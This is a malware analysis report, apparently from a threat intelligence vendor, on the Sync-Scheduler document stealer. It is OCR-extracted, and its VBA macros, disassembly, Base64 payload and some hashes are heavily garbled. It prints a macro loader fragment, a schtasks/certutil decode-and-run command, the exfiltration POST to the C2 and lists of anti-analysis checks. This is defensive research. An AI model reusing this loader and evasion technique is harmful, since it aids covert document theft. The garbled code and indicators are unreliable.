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EXECUTIVE SUMMARY

At CYFIRMA, we are dedicated to providing current insights into prevalent threats and strategies utilized by malicious
entities, targeting both organizations and individuals. This in-depth examination focuses on Sync-Scheduler stealer, a
malware that specifically targets documents, and has been designed with anti-analysis capabilities.

The research explores the evasion tactics employed by threat actors, while also illuminating the procedures involved in
crafting resilient malware payloads. Significantly, the report underscores the adaptive characteristics of these threats,
emphasizing the imperative for enhanced security protocols and user vigilance to effectively mitigate associated risks.

INTRODUCTION

This study provides a detailed overview of Sync-Scheduler, a potent malware written in C++ boasting defense evasion
and anti-analysis capabilities. This paper explores the workings of Sync-Scheduler, how it avoids detection, and creates a
strong payload. It highlights how these threats keep changing and the importance of better security and user awareness
to stay safe from such harmful attacks.
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KEY FINDINGS

¢ Syns-Scheduler stealer is being distributed as an embedded component in Office document file.

¢ File-nesting is used to hide the malware code within a PowerPoint presentation that is embedded in a Word
document.

« Malware code is hidden under the page title of the first slide of the PowerPoint presentation.

¢ The title of the PowerPoint presentation file contains a fraction of the malware code.

« Malware code is encoded in Base-64 and VBA macros leverage Task Scheduler to decode, generate, and execute
the malware.

¢ Sync-Scheduler targets documents in the User directories e.g. Documents, Downloads and Desktop.

o The target file types are Word documents, Excel spreadsheets, PowerPoint presentations, PDFs and ZIP files.

¢ It copies the target files in the OneDrive folder under the User’s “AppData\Roaming” directory and replaces the
extension of the file with a string, which is specific to the filetype.

o Exfiltrates the file over the network as form-data.

¢ Sync-Scheduler is equipped with anti-analysis capabilities and terminates the process if the analysis environment is
detected.

¢ The associated threat actor with Sync-Scheduler has been actively operating since at least November 2023.

« An older version of the malware targets more file types including images, text, and other compressed archive
formats.

ETLM ATTRIBUTION

The malware author attempted to conceal the primary malware binary under multiple layers of protection, as the Base-64
encoded string, hidden under the page title text of the first slide of a PowerPoint presentation file, and this presentation
file is, in turn, an embedded object in a Word document file which is being used as an initial vector to distribute the
malware.
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Sync-Scheduler (base-64 string) is in the page title text

Embedded VBA macros in the PowerPoint presentation file are used for decoding and execution of the malware that
leverages the Task Scheduler for this purpose. It effectively conceals the malware in plain sight, enabling it to evade
detection.

The exfiltrated files sent to the URL “http[:]//syncscheduler[.Jcom/r3diRecT/redirector/proxy.php”, resolve to the IP address
“146.70.157.120". This URL has been active since at least November 2023. Although there are changes in the IP
address, the URL remains consistent:

2/16



History ©

First Submission 2023-11-10 00:53:47 UTC
Last Submissic 2024-03-26 08:
Last Analysis 2024-03-26 08:28:44 UTC

HTTP Response

Final URL

http://syncscheduler.com/r3diRecTfredirector/proxy.php

We have identified another (older) version of the malware that communicates with the above URL and has similar
functionality of being an information stealer:

File name: smsse.exe

MD5: 004101dc501b9de8965e6b45debd07b6

SHA256: 316e01b962bf844c3483fce26ff3b2d188338034b1dbd41f15767b06c6e56041
Time of creation: November 09, 2023

Although there are some differences, such as it queries for more locations and file types:

1+ /4 __G5HandlerCheck_EH4
Mo [rsptarg_g], rbx
push rdi
sub rsp, 11@h
maow rax, cs:__security_cookie
xor rax, rsp
mov [rsp+il8h+var_18], rax
lea rdx, atWindows ; "C:\\Windows™
lea rcx, [rsp+lléhtrar E8]
call sub_148086500
nop
lea rdx, aCPregramFiles ; "C:\\Program Files"
lea rcx, [rsptlléhdrar (8]
call sub_146086500
nap
lea rdx, a(Winreagent ; "C:\\SWinAEAgent™
lea rcx, [rsptllshtvar Ag8]
call sub_146@2855D8
nap
lea rdx, aCPerflogs ; "C:\'PerfLogs"
lea rcx, [rsptllshtvar_@s8]
call sub_1468885D8
nop
lea rdx, aCProgramFilesX ; "C:'\Program Files (8t
lea rcx, [rsp+llah+var_68]
call =ub_1468865D6
naop
lea rdx, aCPregramdata ; "C:\\FrogramDatz"
lea rcx, [rsp+lléh+var_48]
call sub_1468855D0
nop

Target locations for older malware

3/16



mow

push
lea
sub
mov
xor
mov
xorps
movups
Xorps
movdga
mov
lea
lea
call
nop
xorps
movups
xorps
movdga
mov
lea
lea
call
nop
Xorps
movups
Xorps
movdga
mov
lea
lea
call
nop
xorps
movups
XOrps
movdga
mov
lea
lea

call

[rsp-B+arg_@], rbx
[rsp-B+arg_8], rdi

rbp

rbp, [rsp-13@h]

rsp, 23eh

rax, cs:__security_cookie
rax, rsp
[rbpti3@h+var_8], rax
xmm@, xmmd
[rspt23@h4var_208], xmmd
xmml, »xmml
[rspt23@h+evar_1Fe], xmml
FBd, 2 1

rdx,} aPdf pdf
rex, - '30h+var_200]

sub_l4P003060

¥mme , xmme
[rspt23@h+var_1EB], xmmd
xmml, xmml
[rsp+23@h+var_1D8], mml

r8d gud
rex, reprlieh+var_1E8]

sub_140008060

xmm@, xmme
[rsp+23@h+var_1C8], xmmd
xmml, xmml
[rbp+13@h+var_188], xmml
réd, 4

rdx, m I
rex, |reprdiehtvar_1Ce)
sub_130008060

Xmm@, xmme
[rbp+id@h+var_1AB8], xmmd
xmml, xmml
[rbp+i3@h+var_198], xmml

réd,

e, [FPRE ] :
rex, (Toprileh+var_lAg]

sub_l4doo8060

Target filetypes of older malware

The domain syncscheduler[.Jcom has only been flagged by one security vendor while the IP address currently has no

detection yet:

Interestingly, an attempt to browse the URL “http[:]//syncscheduler.com/r3diRecT/redirector/proxy.php”, using a web

call
nop
xorps
mOVUPS
xorps
movdga
moY
lea
lea
call

AS 9009 | M247 Europe SRL)

Xmmd , omme
[rbp+lih+var_
wmml, xmml
[rbp+l38h+var
réd, 3

180], xmm@

178], >mal

™ e
rex, | Foprligh+var_188]
sub_143803866

xmm@, xmme

[rbp+13@h+var 166], xmm@

xmml, >mml
[rbptl3@hsvar_150], xmml
réd, 4

racfaoe]

FEX, Bptl3eh+var 16@8]
sub_l4paesece

Xmmd , Xmmd
[rbp+lidh+var_14@], xmm@
xmml, >mml
[rbp+13@h+var_138], amml
réd, 4

rdx, @XEX]  ; “xls
rcx, (roprliBh+var_l4@8]

sub_l48008060

Xmmd , Xmmd
[rbp+l3n—+1a— :?B], AKmmid)
xmml, xmml
[rbp+13@h+var_118], xmml

r&d,_3

rdx § axls) § 1
rex, (rbptligh+var_128]

sub_l4peas068

Xmm@ , mmd
[rbp+13@h+var_188], xmmd
xmml, >xmml
[rbp+13@h+var_F@], s>mmml
réd, 3

rdx, aFpt] ; t
rex, [rbptligh+var_le@]

sub_l4oeesace

movdga
mov
lea
lea
call
nop
xorps
movups
xorps
mowvdga
mowv
lea
lea
call
nop
Xorps
MOVUPS
XOrpSs
movdga
mowv
lea
lea
call
nop
Xorps
movups
xarps
movdga
mowv
lea
lea
call
nop
xorps
movups
Korps
mowdga
mov
lea
lea
call
nep
xorps
mavups
XOrps
movdga
mowv
lea
1lea
call

et/ bl

[rbp+13@h+var |
réd, 4

rdx, [SPpEx ]
rex, o L:éw+ua'_ie]
sub_l4geesecs

@], xmml

xmm , >amme
[rbp+13ehsvar
xmml, xmml
[rbp+13Bh+var_BB], xmml
r8d, 3

rdx,
rex, BpT1 30t

sub_l40008060

ce], xmme

hvar_C@]

xomm@ , omm@
[rbp+138h+var_A8], xmmd

var_98], xmml

rdx, aZip |
rex, |[rbp+l3dh+var_AB]

sub_l140008060

xmmd , xmmd
[rbp+13@h+va
xmml, xmml
[rbp+i3Ghivar_70], xmml
réd,_2

rx -
FCX, 1T TL38h+var_38]

sub_l4doosece

808], xmme

xmm , >omme
[rbp+138h+var_6@], xmmo
xmml, »mml
[rbp+138h+var_58], xmml
réd, gé

rdx, a721g

rex, |reptl3ighivar 68]
sub_140008060

xmm@ , xmmd
[rbp+l3@h+var_4ad], xmmd

xmml, xmml
[rbp+l3@h+var_38], xmml
réd, J

rdx, | acxe | e
rcx, [rop¥l3gh+var_48]

sub_l4009038060
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browser will redirect to the homepage of the Chinese Government website (www[.]gov[.]cn):
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No known threat actor association has been identified with this Domain/IP address.

Threat Landscape: From an external threat landscape standpoint, the presence of a document stealer malware, which
has been active for at least five months, and exfiltrating data effectively to a consistent URL (C2) without being noticed
indicates a concerning trend. CYFIRMA's research team highlights the evolving tactics of threat actors, who are
leveraging file-nesting in Office document files to hide malware under multiple layers of protection, to avoid detection by
the security tools. This shows why it's important to always stay watchful and use better detection methods to fight against

these changing threats.

ANALYSIS OF SYNC-SCHEDULER STEALER

File Analysis
File Name China Navy First Training 2024(CN).docx
File Size 1.81 MB (1895387 bytes)
Signed Not signed
MD5 ¢1ab783d60cf05636eb4f72d17c6cf1d
SHA-256 2027abacbfeab86f2d814fb57a97dcfce6c9d85¢c2a18a0df40811006d74aa7e3
Date Modified | March 18, 2024

A Word document file serves as the initial vector and a PPT (PowerPoint presentation) file is embedded in this Word

document. The PPT file can be opened by double-clicking the image within the Word document:
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AutcSave

File Home Insert Design Layout References haailings Feview View Help £ Share
oy . “ | ~
: ::l Lg’ Constantia (Body’ » 11~ A A | Aa~ | A AaBbCcr | AaBbCeD Aat be
Paste _3 Uoe x| e o A TNormsl | TPhato | THe |3 Editing
- L™ -
Clipboard T Font I Paragraph 5] Styles 5] A
. - "

PEE T 2024 8 R

Daouble-click will open
PowerPoint presentation e

p| Vs | es-e1-2024

|LJeuDI: cligk or double-tap to Show Microsoft PowerPoint S7-2003 F‘r:stntahonl ,'D‘, Focus 22| El B - | + 00

The Word document with embedded PPT file

word/embeddings/Microsoft PowerPoint 97-2003 Presentation.ppt
131 B1Compt
20 8101¢

4299608 B3EPRINT'
(030bjInfo"

@5DocumentSummaryInformation'
\x@55ummaryInformation’
'Current User!'
25 'Pictures’
255599 'PowerPoint Document'

» China Navy First Training 2024[CH) » word » embeddings v | D £ Search embeddings
MName ; Date modified Size Type
H__] Microsoft_PowerPoint_§7-2003_Presentationppt  37-12-1575 23.00 5380 KB Microsoft Office PowerPaoint 87-2002 Presentation

Embedded PPT file

Embedded PowerPoint Presentation File

File Name | Microsoft_PowerPoint_97-2003_Presentation.ppt

File Size | 5.26 MB (5519360 bytes)

Signed Not signed
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MD5 39122a2bcf6¢360271e8edb503bc2761

SHA-256 | 203d60fe1ebbfafc835e082774ee56088273d9455fb12ac1de2c1be410cceeec

The PPT file contains 3 slides and the VBS macros:

File Home Imzart Diesign Transitinns animations slide Show Review  View Recarding Help 1 Share
- Foal e Ao e e S 1 <& -
4 (@ o K| |=-i=-22=- 1 o A b
pe B | e, 8 s || - f) Replace -
o I € e AV oy A = = = = hapes Amange Cuick
] B R il e = = = Syles- @~ | [ Sdeetr

Ciposard @ Siides Fant il Famgraph ] Drawing 1 Editing -

qj SECURITY WARNING  Macros hawe been dissbled, Enable Corment =
&}

L=

VBA macros contain 5 functions that are password-protected:

Macre 1 *

Macro name: Bun
|B' " | Caneel
acnchExecution
CheckFilelnFolder Stem Imta
ScheduleTask
Test Ediz
Texthoo_reader

Lreate
Delete

Macroin:

|Microsoft_FowsrPaint_97-2003_Fresentation. ppt [Compatibiity Mode] |« |
Descrimtion:
VBAProject Password
— J |
| | Cancel |

Protected VBA macros
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The PPT file has an unusual File Modification Date, and the title of the file is a long base-64 encoded string which is

suspicious:

Microsoft PowerPoint 97-: g ntation.ppt

5 5 MR
1979:12:3
2024:
E 2024:83:
e PP[MLHHJUHH Do-rW-rw-T
Type : PPT
> Type Extension : ppt
: applicatien/vnd.ms-powerpeint
42
Microsoft PowerPoint 97-: Presantation
Windows User

TVﬂDHHMHAPHEH#ﬁﬂ!E 3AAL 4AA#PﬂﬁﬁﬁﬁﬂﬁﬁﬁAHHAAFﬁﬂﬁﬁﬁﬁﬁﬁﬁﬁhﬂﬂhﬂﬂﬁﬁﬁﬁﬁﬁﬂ

':AJfb 0Enu> n/kjk (bpySwmulckpv5I5eay\y FﬁfkikSrqIJFbpyﬁUmul
chpunJJDu;l I S54XIKbLNybmulckpvU31GaT7Vy! 1“ch;vt JKb1NyOmulckptSaWNo7F AAAAAAAAAAAALAAAAAAL
EQROAﬁvIrbAHfhm7UﬂA%%N"“‘ﬂAPAnIgﬂLﬁjdIRPNHAAEIHQAAﬁﬁAnDPUAhAAO&ﬁﬁAA&BnROAAAAnO#AﬁA*'"ABgnAAAAA#ﬁA

AAAAAAARABWAQAABAAAPNOCAAMAYTEAABAAARAAAMADALAAAALALAAANDAAAALALRAEAAAAAALAAAAALROAAARARARAAALLAABS

VAEAAACQAQABZAAAATABAHOMAAAADAEAQCMARABgAGDEARAAQBEBBAHAAAAALRALANALANANAAARLAARAAALRAANA A AﬂﬂHuEAOﬁE
AARARAAAAAAARABAB NJFA&kHAAhﬂAAﬂAﬂﬂﬂﬂHAkHHAﬂﬂﬂﬁhﬂhﬂﬁﬁakkudGu4dﬂﬁﬁﬂH??“ AAAEARAAPWARRAEARAAARRAARARALE
| AAAAUAGAARABWADAS HhﬂFHiﬁﬂﬁﬁﬂ

d H 1HﬂﬁH1HEHHH4HHH \ A4 hHﬂﬁBHQHBHLnJ:LmHHﬂﬁHBZﬂﬂHHJHBHhDOHHHL
CAEAAAAAAAAAAARAAAAADARALDC XY WAAD JAARGAAADACAAAAAARAARAAAAAAAEAAAETAAARAAARAAAAARAAAAAL
AAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALAAALAAANAAAAALAAAAAAAAAAAAAAAAAPLAAANAAR r"« ,"1 AAAARAAAAAAL

LAAAANAMAAAASLPAADDANANNAANLAAAAAADNAN DDA AALAAAAAAAAADDDAR AL A AASSAANADMAANR RSN AANAANARAAARA LA AADNR

BEHAVIORAL & CODE ANALYSIS

The VBA Macros:
The first function is used to execute the following two functions:

Sub BracnchExecution()

CheckFileInFolder
ScheduleTask

Sub

1st function

The following VBA macro code checks for a file at location “C:\~Microsoft365\support.txt”. If the file is not found, which is

the case at the first instance of execution, it calls the function ‘“Textbox—reader’:

Sub CheckFileInFolder()
Dim TolderpPath As s5Cring
Dim TileMams As SUring
Dim fullPath As String

folderPath = "C:\~Mi
fileName = "support

fullPath = folderPath & "\" & fileName
If Dir(fullPath) <= "" Then
MsgBox "File not supported!!"

Textbox
End If
End Sub

If the file exists (in the case of repeated execution), then it shows the following pop-up message:
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Microsoft PowerPoint X

File not supported!!

The first slide of the PPT file has a hidden base-64 encoded string as a Page Title, and the title of the file contains a

fraction of this string:

(1) SECURITY WARNING Macros heve been disabled,

10 TVgQAAMAAAAEAAAA/BAALGAARAARAAACA
ARAAAAAAAAAABARAAAARAABABARAARANA
AAAAAAARAAAAAEAEAAASTug4AtANNILGETMO
hWiGhpeyBwemdnemFiGMhbmEvdCBIZSEydWag
AWAgREITIGIWIGUuD QDK IAARAAAAAACoPFIT
FySm « xckpesi 1K 5S0Bm /eckpuSISaablySm/ gk
roX ) KbpySWmulckpy5iSeayVy SmykikSnqXJKbpy
SUmulckpunt) 0asTySm - eck 554X KD 1 Mybmule
kpvlI2)GaTVySmETchZvid Kb 1My Qmul chptSaWV
MNoTFySmwAAALAARA LAAAARARARAABOROA
AZIVGAHEvM2UAAAAAAAAAAPAAIGALAGLAPW
AAABIAOAAAAAADPUAARAOAAAARABRADAN
AAAQAAAARGAABGALAARARAAGAAARAAARA
ABwAgAABAAAPNOCAAMAYIEAABAAAAAAAADN
CAAAAAAABRAAADAAAAAAAAERAAAAAARAAL
AAAOAAARAAAAAAAAAARABSGEAVAEAAACDAD
ABZAAAAIABAHGMAAAADAEAGCMAAABgAGDD
AAAAQBEBAHAARARAMAAARAARAAAAAAAAA
AAAAAAARAAAARAAHIEAQAEARAARARAANA
AAABABANGFAAAAAAAAAAAAAARAARARAAR
AAAAAAAAAARANDGV4dARAAAHTTARAAEAAAN
PuAAAAEAAAAANAAAAAAARAARARGALBGL)
KYXREAABGWOAAABABAABARARAREAARAARA
ARAAAAAAAARQAAAOCSKYXRhAAAAUALAAAE
WAQAACAAAAFoBAAARAAAARAAAAAARAEAN
AMAUCGRhIGEAAHgMAAAAGAEAANIAARBIAD

Enakble Content

Slide: 1 of 3
TW g AAMAAANE AALAT/BAAL..,

Hidden malicious code {encoded)
as the Page Title text

Click to add notes

The Textbox_reader function calls the ‘Test’ function that creates a folder at “C:\~Microsoft365” as a hidden system

directory:

Sub Test()
Dim Chart S_Path
Char

Path

Test function

= "" Then
idden Or wbSystem

Charts Path

Then it creates a file support.txt and writes this base-64 string into this file:

sub Textbox reader()
Test
Dim myInput As String

myInput = ActivePresentation.S

Set textFile =
rosoft365\support. txt",

textFile

textFile.Close
End Sub

Textbox_reader function

Finally, the ScheduleTask function creates a scheduled task windows_updates that will run only once, and the start time

("C:y~Mic

True)
myInput

will be 11:11. This task will decode the support.txt as wword.exe and execute it using the shell function in a hidden

command prompt window:
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Sub ScheduleTask()
Dim st mmand As String
strCommand = "scht f : ; 11:11 /TR "“cmd /

c certutil -de f ; xt C:\-Micr 36 && C:\—Mic
rosoft365

End Sub

ScheduleTask function

The Execution:
The VB macro drops the executable wword.exe in the C:\~Microsoft365 directory:

Sync-Scheduler
File Name wword.exe
File Size 152.88 KB (156544 bytes)
Signed Not signed
MD5 dféb768247a9cdb5607819c79f02099d
SHA-256 6e4add25c2e8f5bacc7e0f1c8b538b8ad61571266f27 1cfdfc14725b3be02613
Creation Time | January 08, 2024

The Task Scheduler executes the wword.exe in a hidden Windows command shell:

E-\windows_updates Windows Command Processor (Verified) Microsoft Winda... CAWINDOWS\system32\cmd.exe
windows_updates Size: HB3K
Windows Command Processor Tirre: FriMay 505:21:11 2023
(verfied) Microsoft Windaws Version: 10.0.19041.1

[ C:AWINDOWS system32emd. exe /o certutil -decode C:\~Microsoft3ss support, et Ci\~Microsoft355wword.exe &8 C:\~Micosoft365wword 2xe ]

Task Scheduler log

The malware creates a directory “C:\Users\user\AppData\Roaming\OneDrive”:

Connection to syncscheduler.com

At next stage of execution, the malware first enumerates the users/accounts on the system:
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ateFile ' Downlo: 51 ESS Desired Ac ] ); Jirectory, Synchronize
eryDirectory \Dow ESS Filelnformatio ile rectorylnformation, Filte

I’\-’DIFE‘CIOW e \Dow ESS F|Ie|r|t0rm:|t|0 FileBothDirectorylnformation, 1:
FileBothDirectorylnformation

ition: Open, Options
& wword. oy :
& wword.exe ueryDirectory Sers Documents 3S ile ati : FileBethDirec formation, 1 sktop.ini, 3: Docs,.4: qu

Searching for files/folders in User’s space

The Target is Document:
After querying the files/folder in the User’s directory, the malware selects the files by comparing the extension of the file.
These include .doc, .docx, .xls, .xlIsx, .ppt, .pptx, .pdf and .zip files:

Comparing ‘zip’ file extension to identify its filetype

When the target file is identified, it immediately copies the file to the OneDrive folder
(C:\Users\user\AppData\Roaming\OneDrive) for exfiltration, and after transferring the file to the C2 server, it is then
deleted from the OneDrive folder, and continues the search for documents. The process of searching for, copying, and
transmitting document files is conducted in a manner of one file at a time.

While copying these files, it changes the file names and replaces the file extensions including the period character (".")
with the string specific for the particular filetype:

File Extension | Replacement String
.doc X367
.docx X946
Xls X142
Xlsx X375
.ppt X593
.pptx X842
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Desired Ac Genenc Read, Dispo:

wword exe C) rs \Deskiopl!” i Sias APEERIIALS g sipdf SUCCESS Desired Ac
wwordexe BAQuervEAFile | - . R R ..2Netpdf SUCCESS
hwwordexe BACeatzFile = 1E: I Jatal\Ro: 2Drive| Uc Desired Ac

Replacing files’ extension while coping them in the OneDrive folder

_unwind { // _ CxxFrameHandlerd

mow [rsp-B+arg @], rbx
push rbp

lea rbp, [rsp-7en]

zub r=p, 17@h

xXOrps xmmg,  xmmé
movups  [rep+li@h+var_ 1587, xmma
xDrps xmml, xmml
movdga [rsp+l7@h+var_148], xmml

oYy r&d, 3
lea rdx, aPdf
lea rcx, [rspri7éhtvar

call sub_ -Cof
lea rax,
now [rsp+Iy . X

AOrpS wmme,  Wmm
mowvups  [rsptl7Bh+var 1287, xmm@

xor ebx, ebx

now [rep+17@h+vwar_118], rbx

nov [rspti7@h+var_1167, rbx

lea rad, [rbx+3]

lea rdi, aboc

les rex, [rsp+l7ehtve

call sub_l4@@BCDER  ; Memory-Copy
lea ram,

now [rspFLignTvar_168], rax

*Orps ymme,  swmmid

movups  [rsp+l78h+var 1687, xmmd
xorps ¥mmLl, xmml

movdgqa [rbp+ABhdvar F@], xmml

lea rad, [rbxt4]

lea rdx, anocx 5 Tdocx

lea rcx, [rsp+ligndvar_lea]

call sub_14888CD38  ; Memory-Cop
lea rax,

nov [rbp Tar_t9], rax

XOrps amme,  mmd
movups  [rbpt7Bhdvar _DE], xmm@
ROV [rbp+7Bh+var T3], rbx

Assembly instructions: Replacing file extension

The Exfiltration:
After copying the files in the OneDrive folder (C:\Users\user\AppData\Roaming\OneDrive), it starts exfiltration:
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Exfiltrating copied .xls file using ‘HttpSendRequestw’

The network packets are sent in the POST request in the form of ‘form-data’ to the URL
“http[:]//syncscheduler[.Jcom/r3diRecT/redirector/proxy.php” (IP address “146.70.157.120"):

POST /r3diRecT/redirector/proxy.php HTTP/1.1

Accept: multipart/*

Content-Type: multipart/form-data; boundary=----------——---—---—-—-—-—- 7d82751e2bc@B5ss

User-Agent: Mozilla/5.@ (Windows; U; Windows NT 5.1: en-US) AppleWebkit/534.3 (KHTML, like Gecke) Chrome/6.8.472.53
Saftari/G34.3

Hest: syncscheduler.com

Content-Length: 19368

Cache-Control: no-cache

----------------------------- 7d6275L=2bcBB58
Content-Disposition: form-data; name="Tile™; Tilename=" advisoryX946 "
Content-Type: tewt/plain;";

Broot-.co.rd.oga..rduega.stt i aie . (006..662]5.0/000 0G0 e e PYeraaaaBO[aa i an s Pl W0l u Pl aa Gl Py e a Gl L Bl WL L PL,
S g e g e ] g e i | S (e A e | B e o e e 2 o g | g gt R ey e
e (ot o e O (o e e e (et e o R e | e ) e g &
S Enstily s atils e dEac Ly 5uBa ot Ly dEnntAle e dCon s s Boo Ly 6o o tlln e dlEhnt by plEo ot Ly s clfein tlke b a(Cn ofl ko n AEa ol Ly s s n L o 2l
sMlpeaCan?l, . nCon et a0 3,000 2,0 .CnarSmga. . rS . ~qa. .r9.~qa. .r9%.~ga..ro.~qa..r¥.~qa. .r¥.~gqa..r9.~qa..rd
0@, MI.~Qd. . Y. qa. . r9.~0a. Y. ~qa. . r9. ~qa. . r9.~qa. .r9.~ga. .r9.~qa..r9. ~qa. .ré.~4a. .r9.~ga..r9.~qa..r9.~ga. .ré.~qa

3 =

Sending .doc file over network

Defense Capabilities:
The malware looks for the presence of various analysis tools, including debuggers and virtual machine environments at
the initial stage of execution:

Ox1a52db54428 ollydbg.exe

Ox1a52db54440 ida.exe

Ox1a52db54450 idab4.exe

Ox1a52db54468 idag.exs

Ox 1a52db544530 idags4.exe

Ox1a52db54498 idaw.exe

Ox1a52db544b0 idawsd.exe

Ox1a52db544cE idag.exs

Ox1a52db544e0 idags4.exe

Ox1a52db544f3 idau.exe

Ox1a52db54510 idaué4.exe

Ox1a52db54528 scylla.exe

0x1a52db54540 scylla_x64.exe

Ox1a52db54560 scylla_xB6.exe

0x1a52db54580 protection_id.exe

Ox1a52db545a8 w654dbg.exe

0x1a52db545c0 x32dbg.exe

Ox1a52db3a5da rendg.cxe Ox 1a52db 547583 Impart reconstructar
0x1a52db545f0 reshacker.exe Ox1a520b54790 Process Monitor - Sysinternals:
Ox1a52db54510 ImportREC.exe 0% 1a52db 54800 Zeta Debugger
Ox1a52db54630 IMMUNITYDEBUGGER..EXE Ox 1a52db54820 Rock Debugger
Ox1a52db54650 devenv.exe Ox 1a52db 54840 ChsidianGUL
Ox1a52db54678 Proamon. exe 0x 1a52db548560 WinDboFrameClass
Ox1a52db54690 Proomong4.exs Ox1a52db54383 idawindaow

Analysis tools string in process memory
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Additionally, it verifies if the specified DLLs are hooked to hide the analysis environment:

Ox1a52db54e9c Hooklibraryx&4.dll
Ox1a52db59eaf HookDlIData

Ox1a52db54cbb HockedGetocalTime
0x1a52dh54ece HookedGetSystemTime
Ox1a52db54ee? HookedGetTickCounta4
Ox1a52db54=f7 Hooked GetTickCount

0% 1a52db54f0a HookedKillserExreptionDispatcher
0x1as52db54f2a HookednatveCallnternal
Ox1a52db54f43 HookedNtClase

Ox1a52dh54f51 HookedNtContinue
Oxlas52db54fa2 HookedNtCreatesection
Ox1a52db54F78 HookedNtCreateThread
0x1a52dh54fad HookedhtCreateThreadEx
Ox1as52dbs4fad HookedMtDuplicateObject
Ox1a52db54fbe HookedMtGetContextThread
0x1a52dh54fds HookedNtMapViewOfSection
Ox1a52db54fee HookedNtOpenFie

0x1a52db 54 HockedMtQueryInformationProcess
Ox1a52dh5501f HookedMtQueryOhject
0x1a52db55033 HookedMtQuer yPer formanceCounter
0Ox1a52db55053 HookedMtQuerySystemInfarmation
0x1a52db55072 HookedNtQuerySystemTime
0x1a52db5508a HookedNtResumeThread
Ox1a52db5500f HookedMtSetContextThread
0x1a52db550b3 HookedNtSetDebugFilterState
0x1a52db550d< HookedN tSetInformatonProcess
0Ox1a52db550f2 HookedNtSetIinfarmationThread
0x1a52db5510f HookedNtUserBlockInput
Ox1a52db5512G HookedN tUserBuldHwndList
0x1a52db55140 HookedMteerBuldHwndList_Eight
0x1a52db55160 HookedNtUserFindWindowEsx
0x1a52db55179 HookedMtUserGetForeground Window
Ox1a52dh55199 HookedMteerQueryWindow
Ox1a52db551b1 HookedNtYieldExacution
Ox1a52db551cB Hooked OutputDebugStringA

verifying hooked DLLs in memory

If the malware identifies any analysis-elements within the execution environment, it triggers ‘FatalExit’ command, leading
to the termination of the execution process.

SYNC-SCHEDULER CAPABILITIES

The examination of the Sync-Scheduler yields valuable insights and unveils its operational characteristics. Drawing from
this analysis and the data extracted, the subsequent points outline the capabilities of this document stealer:

o Exfiltrates documents, including Word, Excel spreadsheet, PowerPoint and PDF.

« Avoids detection using the File-Nesting and Embedded object in the Office document.
¢ Anti-analysis capabilities.

« Uses obfuscation in the code.

» Scans for analysis tools and debuggers.

 Communicates with C2 and exfiltrates files over the network.

o Terminates if being debugged or analyzed.

CONCLUSION

In summary, Sync-Scheduler is a dedicated document stealer that targets Word documents, Excel Spreadsheets,
PowerPoint presentations, PDFs and ZIP compress files. The malware is written in C++ and equipped with anti-analysis

and defense evasion techniques. It uses obfuscation in its code and terminates itself if it detects an analysis environment.

To reduce the risks associated with Sync-Scheduler stealer malware, users should exercise caution when opening files
from untrustworthy sources or clicking on unfamiliar links, particularly those offering questionable software or content.
Furthermore, deploying robust cybersecurity measures, including utilizing reputable antivirus software, ensuring software
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is regularly updated, and staying vigilant against social engineering tactics, can significantly bolster protection against
such threats. Education and awareness campaigns are also vital in equipping individuals with the knowledge to recognize
and evade such malware, ultimately fostering a more resilient and secure online ecosystem.

INDICATORS OF COMPROMISE

S/N | Indicators Type Context
1 ¢1ab783d60cf05636eb4f72d17c6cf1d MD5 China Navy First Training
2024(CN).docx
2 2027ab5acbfea586f2d814fb57a97dcfce6c9d85c2a18a0df40811006d74aa7e3 | SHA- China Navy First Training
256 2024(CN).docx
3 39122a2bcf6c360271e8edb503bc2761 MD5 microsoft_powerpoint_97-
2003_presentation.ppt
4 203d60fe1ebbfafc835e082774ee56088273d9455fb12ac1de2c1bed410cceeec | SHA- microsoft_powerpoint_97-
256 2003_presentation.ppt
5 dféb768247a9cdb5607819¢79f02099d MD5 wword.exe
6 6e4a4d25c2e8f5bacc7e0f1c8b538b8ad61571266f271cfdfc14725b3be02613 | SHA- wword.exe
256
7 004101dc501b9de8965e6b45debd07b6 MD5 smsse.exe
8 316e01b962bf844c3483fce26ff3b2d188338034b1dbd41f15767b06c6e56041 | SHA- smsse.exe
256
9 146[.]70[.]157[.]120 IP C2
address
10 | http[:)//syncscheduler[.Jcom/r3diRecT/redirector/proxy[.Jphp URL Cc2

MITRE ATT&CK TACTICS AND TECHNIQUES

No. | Tactic Technique

1 Reconnaissance (TA0043) T1592: Gather Victim Host Information

2 Execution (TA0002) T1059.003: Windows Command Shell
T1053.005: Scheduled Task
T1024.002: Malicious File

3 Defense Evasion (TA0005) T1622: Debugger Evasion
T1497: Virtualization/Sandbox Evasion
T1140: Deobfuscate/Decode Files or Information
T1564.001: Hidden Files and Directories
T1070.004: File Deletion
T1027.009: Embedded Payloads

4 Discovery (TA0007) T1622: Debugger Evasion

T1497:Virtualization/Sandbox Evasion

T1083: File and Directory Discovery
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5 Command and Control (TA0O011) | T1071.001: Web Protocols

6 Exfiltration (TA0010) T1041: Exfiltration Over C2 Channel

Recommendations

« Implement threat intelligence to proactively counter the threats associated with Sync-Scheduler stealer malware.

« To protect the endpoints, use robust endpoint security solutions for real-time monitoring and threat detection such as
Antimalware security suit and host-based intrusion prevention system.

¢ Continuous monitoring of the network activity with NIDS/NIPS and using the web application firewall to filter/block
the suspicious activity provides comprehensive protection from compromise due to encrypted payloads.

« Configure firewalls to block outbound communication to known malicious IP addresses and domains associated with
Sync-Scheduler stealer command and control servers.

« Implement behavior-based monitoring to detect unusual activity patterns, such as suspicious processes attempting
to make unauthorized network connections.

+ Employ application whitelisting to allow only approved applications to run on endpoints, preventing the execution of
unauthorized or malicious executables.

+ Conducting vulnerability assessment and penetration testing on the environment periodically helps in hardening the
security by finding the security loopholes, followed by remediation process.

¢ The use of security benchmarks to create baseline security procedures and organizational security policies is also
recommended.

« Develop a comprehensive incident response plan that outlines steps to take in case of a malware infection, including
isolating affected systems and notifying relevant stakeholders.

o Security awareness and training programs help to protect from security incidents, such as social engineering
attacks. Organizations should remain vigilant and continuously adapt their defenses to mitigate the evolving threats
posed by Sync-Scheduler stealer malware.

o Update security patches which can reduce the risk of potential compromise.

Copyright CYFIRMA. All rights reserved.
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